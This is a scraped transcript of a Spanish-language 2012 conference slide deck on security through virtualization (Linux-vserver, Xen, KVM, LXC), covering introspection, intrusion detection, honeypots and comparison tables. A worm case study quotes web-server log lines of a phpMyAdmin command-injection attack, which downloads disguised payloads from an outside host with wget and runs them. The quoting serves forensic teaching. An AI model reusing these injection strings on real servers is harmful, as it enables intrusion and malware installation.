seguridad por virtualización g4

Post on 16-Jul-2015

538 Views

Category:

Technology

0 Downloads

Preview:

Click to see full reader

TRANSCRIPT

2012-10-30Seguridad por virtualización G4

Derechos reservados © 2004-2012 Sandino Araico Sánchez <sandino@sandino.net> / Enrique A. Sánchez Montellano <enrique.sanchez@yaguarete-sec.com> / Rolando Cedillo Caballero <rolando@intelligencia.com>

Se permite ilimitadamente el uso, copia, redistribución con o sin modificaciones siempre y cuando se mantenga el aviso de derecho de autor y se anoten al final de la presentación todas las modificaciones que se llevan a cabo conservando la historia de las modificaciones que hagan las demás personas e indicando la fecha de cada modificación y el nombre de la persona que la llevó a cabo.

Simposium ITSSAT

Xen http://xensource.com

Vbox http://www.virtualbox.org

KVM http://linux-kvm.org

Zonas de Open Solaris

Open VZ http://openvz.org

LXC http://lxc.sourceforge.net

Linux-vserver http://linux-vserver.org

GR Security http://grsecurity.net

Seguridad por virtualización

Atributos de la seguridad por virtualización

Eficiencia

Encapsulamiento

Auditabilidad

Introspección

Dureza

[root@carnitas root] ps fax PID TTY STAT TIME COMMAND 1 ? S 0:04 init [3] 2 ? SW 0:00 [keventd] 3 ? SW 0:00 [kapmd] 4 ? SWN 0:00 [ksoftirqd_CPU0] 5 ? Z 1:06 [kswapd <defunct>] 6 ? SW 0:08 [bdflush] 7 ? SW 5:57 [kupdated] 8 ? SW 6:56 [kjournald] 61 ? SW 0:00 [khubd] 109 ? SW< 0:00 [mdrecoveryd] 1186 ? SW 0:03 [kreiserfsd]31375 ? S 4:59 syslogd -m 021127 ? S 5:16 klogd -x 350 ? S 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-scripts/apmscript17503 ? S 0:00 /usr/sbin/sshd 2482 ? S 0:18 \_ /usr/sbin/sshd26369 pts/19 S 0:00 | \_ -bash15624 pts/19 S 0:00 | \_ screen -r 6378 ? S 0:00 \_ /usr/sbin/sshd22919 pts/22 S 0:00 | \_ -bash18816 pts/22 S 0:00 | \_ tail --follow=name /var/log/info 2924 ? S 0:00 \_ /usr/sbin/sshd 3507 pts/23 S 0:00 \_ -bash 5315 pts/23 R 0:00 \_ ps fax 5193 ? SL 0:00 ntpd -U ntp -g11656 ? S 0:00 gpm -t ps/2 -m /dev/psaux18722 ? S 0:00 crond27300 ? S 0:00 /usr/sbin/atd 8063 ? S 0:00 /usr/local/sbin/rebootmgr --pidfile /var/run/rebootmgr.pid fedora fedora-pruebas gentoo mandrake redhat10923 ? S 0:00 login -- ruth 16086 tty2 S 0:01 \_ -bash14621 tty3 S 0:00 /sbin/mingetty tty315563 tty4 S 0:00 /sbin/mingetty tty421516 tty5 S 0:00 /sbin/mingetty tty513617 tty6 S 0:00 /sbin/mingetty tty6 2390 ? S 76:58 SCREEN 1833 pts/7 S 0:00 \_ /bin/bash 3889 pts/8 S 0:01 \_ /bin/bash32320 pts/9 S 0:00 \_ /bin/bash 5109 pts/10 S 0:06 \_ /bin/bash 90 pts/13 S 0:00 \_ /bin/bash 6877 pts/17 S 0:00 \_ /bin/bash24449 ? S 0:00 login -- viewlog 3085 tty1 S 0:00 \_ /bin/sh /var/log/viewlogs.sh 4594 tty1 S 0:00 \_ tail --follow=name boot.log cron dmesg ksyms.0 maillog messages mysqld.log secure apache/*log

Introspección

Host

guest vserver guest vserverguest vserveripv4root is now 192.168.4.6New security context is 49154[root@carnitas /] ps fax PID TTY STAT TIME COMMAND29351 pts/23 S 0:00 /bin/bash -login30000 pts/23 R+ 0:00 \_ ps fax31178 ? Ss 0:04 /usr/sbin/cron 8298 ? Ss 0:00 /usr/sbin/sshd12965 ? Ss 0:00 /usr/sbin/syslogd -m 0[root@carnitas /]

ipv4root is now 192.168.4.9New security context is 49153[root@fedora-pruebas /] ps fax PID TTY STAT TIME COMMAND11416 pts/23 S 0:00 /bin/bash -login 642 pts/23 R 0:00 \_ ps fax27525 ? S 2:10 /usr/sbin/rcd -r 468 ? S 34:22 SCREEN11908 pts/2 S 0:00 \_ /bin/bash17447 pts/2 S 125:19 | \_ top24134 pts/3 S 0:00 \_ /bin/bash15032 pts/4 S 0:01 \_ /bin/bash30409 pts/5 S 0:09 \_ /bin/bash27016 pts/6 S 0:03 \_ /bin/bash18787 pts/12 S 0:06 \_ /bin/bash19997 ? S 0:00 crond26925 ? S 0:04 /usr/libexec/postfix/master15234 ? S 0:00 xinetd -stayalive -pidfile /var/run/xinetd.pid 3983 ? S 0:09 /usr/sbin/sshd12499 ? S 0:35 \_ sshd: root@pts/014284 pts/0 S 0:00 \_ -bash10672 pts/0 S 0:00 \_ screen -r21878 ? S 3:32 syslogd -m 0[root@fedora-pruebas /]

ipv4root is now 192.168.4.10 127.0.4.10New security context is 49163[root@fedora-install /] ps fax PID TTY STAT TIME COMMAND21576 pts/23 S 0:00 /bin/bash -login 1092 pts/23 R 0:00 \_ ps fax28746 ? S 0:00 /usr/bin/freshclam -d -p /var/run/clamav/freshclam.pid27546 ? S 0:08 /usr/sbin/clamd 8936 ? S 0:00 \_ /usr/sbin/clamd12545 pts/18 S 0:00 su jabber -c /usr/sbin/jabberd -H /var/lib/jabber -c /var/run/jabber/jabber.xml 8519 pts/18 S 0:00 \_ /usr/sbin/jabberd -H /var/lib/jabber -c /var/run/jabber/jabber.xml21987 pts/18 S 0:00 \_ /usr/sbin/jabberd -H /var/lib/jabber -c /var/run/jabber/jabber.xml11587 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger pop3d-ssl27159 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl27614 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger pop3d23069 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl15630 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger imapd-ssl 6387 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl 7574 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger imapd29190 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl 75 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger -pid=/var/run/authdaemon.courier-imap/pid -start /usr/lib/courier-imap/libe 7065 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain16345 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain 342 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain 9778 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain30034 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain18176 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain12295 ? S 0:00 /usr/libexec/postfix/master 5888 ? S 0:00 \_ qmgr -l -t fifo -u22906 ? S 0:00 \_ pickup -l -t fifo -u 7880 ? S 0:03 /usr/bin/spamd -d -x -u spamd -m 6 -H /var/cache/spamd13036 ? S 0:01 \_ spamd child29368 ? S 0:01 \_ spamd child12580 ? S 0:01 \_ spamd child13315 ? S 0:01 \_ spamd child23456 ? S 0:01 \_ spamd child27050 ? S 0:00 \_ spamd child16011 ? S 0:00 /usr/sbin/httpd 9849 ? S 0:00 \_ /usr/sbin/rotatelogs /var/log/httpd/sapodesk.access.log.%Y%B%d 60480021818 ? S 0:00 \_ /usr/sbin/httpd17319 ? S 0:00 \_ /usr/sbin/httpd16118 ? S 0:00 \_ /usr/sbin/httpd15154 ? S 0:00 \_ /usr/sbin/httpd22121 ? S 0:00 \_ /usr/sbin/httpd19986 ? S 0:00 \_ /usr/sbin/httpd22846 ? S 0:00 \_ /usr/sbin/httpd11579 ? S 0:00 \_ /usr/sbin/httpd 3342 pts/18 S 0:00 /bin/sh /usr/bin/safe_mysqld --defaults-file=/etc/my.cnf23346 pts/18 S 0:00 \_ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=28855 pts/18 S 0:00 \_ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-f30840 pts/18 S 0:00 \_ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --p19176 pts/18 S 0:00 \_ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --p24053 ? S 15:00 /usr/sbin/rcd -r30151 ? S 0:00 crond26749 ? S 0:03 /usr/sbin/sshd 8813 ? S 0:11 \_ sshd: root@pts/129821 pts/1 S 0:00 | \_ -bash 4149 pts/1 S 0:00 | \_ screen 2753 ? S 1:02 | \_ SCREEN 8203 pts/11 S 0:00 | \_ /bin/bash21729 pts/11 S 58:56 | | \_ top 3848 pts/14 S 0:04 | \_ /bin/bash 9026 pts/15 S 0:00 | \_ /bin/bash17204 pts/20 S 0:00 | \_ /bin/bash 602 pts/21 S 0:00 | \_ /bin/bash12312 pts/18 S 0:01 | \_ /bin/bash 3484 ? S 0:00 \_ sshd: root@pts/1612719 pts/16 S 0:00 \_ -bash24044 pts/16 S 0:00 \_ tail --follow=name /var/log/boot.log /var/log/cron /var/log/dmesg /var/log/httpd/access_log /var/log/htt 6578 pts/16 S 0:00 \_ tail --follow=name /var/log/boot.log /var/log/cron /var/log/dmesg /var/log/httpd/access_log /var/log/htt 1220 ? S 0:05 syslogd -m 0[root@fedora-install /]

Hardware (host)

Capa de virtualización

VM (guest)

VM (guest)

VM (guest)

Herramientas de detección de intrusos

Snort

AIDE / samhain

Chkrootkit / RKHunter

Tcpdump / Wireshark

NTOP

PSAD / blockhosts

clamav

Sin virtualizaciónHost

clientes hostiles

207.113.245.241

Servicios en

producción

Snort

Log

Con virtualización

clientes hostiles

Capa de virtualización

Log

tcpdump en el host

Snort207.113.245.241

Servicios en

producción

clientes hostiles

Log

tcpdump en el host

Snort207.113.245.241

Servicios probablementevulnerables

Honeypot en producción

Capa de virtualización

Firma de binariosSin virtualización

Host

clientes hostiles

207.113.245.241

Log/usr/sbin/aide

/bin /lib /etc /usr/bin /usr/lib/usr/sbin

/bin /lib /etc /usr/bin /usr/sbin

clientes hostiles

Capa de virtualización

Repo

Aide / samhain

Firma de binarios/bin /lib /etc /usr/bin /usr/sbin

/bin /lib /etc /usr/bin /usr/sbin

/bin /lib /etc /usr/bin /usr/sbin

/bin /lib /etc /usr/bin /usr/sbin

/bin /lib /etc /usr/bin /usr/sbin

Hardware (host)

Acceso a la red

Iptables

Iproute2

OpenVPN

Squid

Ipcop

blockhosts

Sin virtualizaciónHost 200.33.4.13 - 18

HTTP

clientes

SMTP POP3

IMAPFTP FTP

/var/www/html /home

Con virtualización

clientes

Capa de virtualización

/var/www/html /home

Hardware (host)

FTP HTTP SMTP POP3

DMZ virtual

clientes

Capa de virtualización

/var/www/html /home

Hardware (host)

FTP HTTP SMTP POP3

NAT

Así se ve un gusanoarrachera.saks: 614 total, 2 running, 612 sleeping, 0 stopped, 0 zombieCpu0 : 0.0%us, 0.1%sy, 0.0%ni, 97.2%id, 0.0%wa, 1.5%hi, 1.2%si, 0.0%st...Mem: 12302896k total, 12038224k used, 264672k free, 1234036k buffersSwap: 4192880k total, 3280k used, 4189600k free, 7756440k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND

16044 bin 24 0 3540 1956 1340 R 100 0.0 11:02.05 x 12188 40 17 0 23176 19m 1860 S 0 0.2 0:31.61 named 27265 40 15 0 15536 12m 2068 S 0 0.1 0:01.27 named 7721 root 15 0 17604 1968 992 R 0 0.0 1:04.83 top

Así se ve un gusano599 [root@posh ~] vcontext --xid 126 --migrate -- ls -la /proc/16044total 0dr-x------ 6 bin bin 0 Oct 9 12:03 .dr-xr-xr-x 629 root root 0 Oct 8 08:24 ..dr-xr-xr-x 2 bin bin 0 Oct 9 12:17 attr...-r--r--r-- 1 bin bin 0 Oct 9 12:14 cmdlinelrwxrwxrwx 1 bin bin 0 Oct 9 12:17 cwd -> /vservers/eaea/usr/local/apache2/eaea/data/bb-r-------- 1 bin bin 0 Oct 9 12:17 environlrwxrwxrwx 1 bin bin 0 Oct 9 12:03 exe -> /vservers/eaea/usr/bin/perl...

-rw-r--r-- 1 bin bin 0 Oct 9 12:17 oom_adj-r--r--r-- 1 bin bin 0 Oct 9 12:17 oom_scorelrwxrwxrwx 1 bin bin 0 Oct 9 12:17 root -> /vservers/eaea ...

Así se ve un gusano84.194.192.10 - - [09/Oct/2009:06:19:28 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea;%20wget%20ns.ava-bg.com/~eliza/emsi.gif;%20tar%20zxvf%20emsi.gif;%20rm%20-rf%20emsi.gif;%20cd%20mc-root;%20./start%20php.My-Admin- HTTP/1.1" 200 31884.194.192.10 - - [09/Oct/2009:06:19:50 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea/mc-root/r;%20ps%20x HTTP/1.1" 200 82784.194.192.10 - - [09/Oct/2009:06:20:32 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea/mc-root/r;%20wget%20ns.ava-bg.com/~eliza/dd0s.gif;%20tar%20zxvf%20dd0s.gif;%20rm%20-rf%20dd0s.gif;%20cd%20bb;%20PATH=%22./%22%20httpd;%20ps%20x HTTP/1.1" 200 112384.194.192.10 - - [09/Oct/2009:06:20:54 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea/mc-root/r/bb;%20./httpd;%20ps%20x HTTP/1.1" 200 839

Sistemas embebidosuClibc

Gentoo embedded <--- Linux Not GNU

USE=static

Resource limits

Storage limits

Solamente un proceso estático y ya

Con virtualización(Embebidos)

clientes

Capa de virtualización

/var/www/html /home

Hardware (host)

FTPHTTP SMTP POP3

Funciona igual pero son más pequeños

Un proceso por vserver

Sistema de archivos mínimo

No hay librerías

No hay compiladores

Fácilmente clusterizables

Virtualización + HA

Director

Clientes

Director en standby

Capa de virtualización

/var/www/html - NAS - /homeHost A Host B

VPS

VPS VPS

VPS

VPS

VPS

VPS

NAS redundante

Director

Clientes

Director en standby

Capa de virtualización

VPS

VPS VPS

VPS

VPS

VPS

VPS

Host A Host B NAS A NAS B

Estable (viejo)Linux 2.6.22.19

Linux-Vserver 2.2.0.7

GR Security 2.1.11

LVM2

Gentoo hardened 10.0

NFS

DesarrolloLinux 3.2.22

Linux-Vserver 2.3.2.10

GR Security 2.9.1

LVM2

Gentoo hardened 12.0

DRBD

OCFS2 / GFS2 / Glusterfs / Ceph

Cuadro comparativo

Linux-vserver Libre

Xen Libre y propietario

KVM Libre

LXC Libre

Sistema operativo

Linux-vserver Linux

Xen Linux / Net BSD / Open Solaris

KVM Linux

LXC Linux

Tecnología de virtualización

Linux-vserver Soft partitioning

Xen Virtualización y paravirtualización

KVM Virtualización y paravirtualización

LXC Soft partitioning

Encapsulamiento

Linux-vserver Parcial

Xen Sí

KVM Sí

LXC Parcial

Auditabilidad

Linux-vserver Sí

Xen No

KVM No

LXC SíXen y KVM podrían ser auditables si montamos el sistema de archivos raíz sobre NFS o sobre OCFS2/GFS2/Ceph

Introspección

Linux-vserver Sí

Xen No

KVM No

LXC Sí

El acceso a la consola del S. O. no se considera introspección

GR Security

Linux-vserver Sí

Xen En Linux > 3.0

KVM Sí

LXC Sí

Sistemas operativos heterogeneos

Linux-vserver No

Xen Linux, Net BSD, Open Solaris

KVM Solo en AMD64

LXC No

Versión más reciente de Linux(sin GR Security)

Linux-vserver 3.6

Xen 3.6.4

KVM 3.6.4

LXC 3.6.4

Versión más reciente de Linux(con GR Security)

Linux-vserver 3.2.22

Xen 3.6.4

KVM 3.6.4

LXC 3.6.4

Firma de binariosSin virtualización

Host

clientes hostiles

207.113.245.241

Log/usr/sbin/aide

/bin /lib /etc /usr/bin /usr/lib/usr/sbin

IDS en el NAS

clientes hostiles

Log( aide | chkrootkit | rkhunter | samhain )

/bin /lib /etc /usr/bin /usr/lib/usr/sbin

NAS

Capa de virtualización

Host A Host B

VPS VPS VPS VPS

( snort | NTOP ) ( tcpdump | blockhosts )

top related